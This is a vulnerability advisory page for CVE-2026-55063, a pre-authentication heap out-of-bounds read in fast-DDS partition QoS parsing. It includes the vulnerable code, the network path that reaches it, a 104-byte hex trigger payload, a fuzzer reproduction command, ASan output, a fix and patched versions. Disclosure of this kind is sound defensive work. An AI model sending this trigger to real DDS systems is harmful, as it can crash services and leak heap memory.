CVE-2026-55063: fast-DDS Out-of-bounds Read

CVE-2026-55063

NVD

Vulnerability Summary

Summary `QosPoliciesSerializer<PartitionQosPolicy>::read_content_from_cdr_message` hands a pointer into the wire buffer to `PartitionQosPolicy::push_back(const char*)`, which calls `strlen` on the raw bytes. The wire bytes carry no guarantee of NUL termination, so `strlen` reads past the end of the heap allocation backing the input. Reachable from any peer via `PID_PARTITION` (0x0029) inside `DATA(w)` / `DATA(r)`. Confirmed against `master @ 621f6d826`; ASan reports a 88-byte read past the heap allocation on a 104-byte trigger. Details `src/cpp/fastdds/core/policy/QosPoliciesSerializer.hpp:633-646`: ```cpp for (size_t i = 0; i < num_partitions; ++i) { uint32_t partition_size, alignment; valid &= rtps::CDRMessage::readUInt32(cdr_message, &partition_size); if (!valid) { return false; } qos_policy.push_back ((const char*)&cdr_message->buffer[cdr_message->pos]); // <-- strlen on raw buffer alignment = ((partition_size + 3u) & ~3u) - partition_size; cdr_message->pos += (partition_size + alignment); } ``` `PartitionQosPolicy::push_back(const char* name)` (`include/fastdds/dds/core/policy/QosPolicies.hpp:1539`) starts with `uint32_t size = (uint32_t)strlen(name) + 1;`. The argument here is a pointer into `cdr_message->buffer`, no length passed alongside, so `strlen` walks until the next zero byte - wherever that lands in adjacent heap. Two separate problems on this site: 1. The `strlen` itself reads past `cdr_message->length` (the heap-OOB read). 2. `num_partitions` and `partition_size` are both wire-controlled `uint32_t` reads with no bound against `parameter_length`. Even if the strlen issue is fixed, an attacker can still exhaust memory by announcing many small partitions or one huge `partition_size`. Reach: same SEDP path as the other QoS-policy bugs. UDP → `MessageReceiver::processCDRMsg` → DATA dispatch → `EDPBaseSUBListener::add_reader_from_change` (`EDPSimpleListeners.cpp:209-223`) → `ReaderProxyData::read_from_cdr_message` → `readParameterListfromCDRMsg` (`ParameterList.hpp:142`) → this site. Same via `EDPBasePUBListener` for `DATA(w)`. EDPSimple default; no DDS-Security required. Affected versions: `master @ 621f6d826`, `v3.0.0`, `v2.14.0`. PoC Trigger payload (104 bytes; sha256 `f7c46d3a8faed3cd6f8c999cb1edf56db14141e2ad41be37fef61ad6c8dc76c1`): ``` 04 00 02 03 00 00 29 00 2f 07 00 00 00 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 a2 15 ``` Byte 0 (`0x04`) is the per-driver selector (`% 3 == 1` → `ReaderProxyData` branch). The remaining 103 bytes reach `ReaderProxyData::read_from_cdr_message`. Reproduces in 1 input via a libFuzzer harness wrapping that function; driver source available on request. Build/run shape (existing OSS-Fuzz `fast-dds` pipeline; save the trigger to a file and adapt the path): ``` python3 infra/helper.py build_fuzzers fast-dds /path/to/Fast-DDS docker run --rm -v $PWD/build/out/fast-dds:/out \ -v /path/to/trigger:/testcase \ --entrypoint /out/fuzz_proxy_cdr gcr.io/oss-fuzz-base/base-runner:latest \ -runs=1 /testcase ``` ASan top frames against `master @ 621f6d826`: ``` ==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x... thread T0 READ of size 88 at 0x... thread T0 #0 strlen #1 push_back QosPolicies.hpp:1539:35 #2 QosPoliciesSerializer<PartitionQosPolicy>::read_content_from_cdr_message QosPoliciesSerializer.hpp:643:20 #3 read_from_cdr_message QosPoliciesSerializer.hpp:80:18 #4 (lambda) ReaderProxyData.cpp:894:30 ... readParameterListfromCDRMsg ... ReaderProxyData::read_from_cdr_message ... ``` Impact Pre-auth heap-buffer-overflow read on default config. Adjacent heap contents leak into `PartitionQosPolicy::partitions_` (the `SerializedPayload_t` that `push_back` populates), which the receiver then keeps as part of the matched-reader proxy state. Echo back to the attacker is plausible if the receiver later round-trips that proxy data (e.g., in a relayed announcement), so a portion of the OOB bytes is plausibly observable. Crash under glibc without ASan is also reliable. Suggested fix: two changes on the same site. 1. Bound `cdr_message->pos + partition_size <= cdr_message->length` before the `push_back` call (and reject `num_partitions` against `parameter_length` up top). 2. Stop `push_back`ing a raw `const char*`. Either pass `partition_size` alongside (length-aware overload), or `memcpy` `partition_size` bytes into a temporary `std::string` first and `push_back` that. The current strlen-on-wire-bytes pattern is unsafe even with bound checks because nothing guarantees the byte at `pos + partition_size - 1` is zero.
Severity Level
HIGH(8.2)
Published Date
Nov 30, 2026
Last Modified
Nov 30, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
Root Weakness (CWE)
The software reads data past the end, or before the beginning, of the intended buffer.
CVSS v3.1 Base Metrics — Score 8.2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityLow
IntegrityNone
AvailabilityHigh

Affected & Patched Versions

Affected Versions
  • fast-DDS <= 3.6.2
Patched Versions
  • fast-DDS 2.6.12, 2.14.7, 3.2.5, 3.6.3

What to do

Plan remediation soon. No exploitation is confirmed yet, but the severity is high.

  1. Check whether you run fast-DDS and which version.
  2. Update to a patched version listed above, then confirm the new version.

Timeline

  • Nov 30, 2026Published
  • Nov 30, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new fast-DDS CVEsYou are reading CVE-2026-55063. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

Data last checked: Dec 3, 2026 02:01 UTC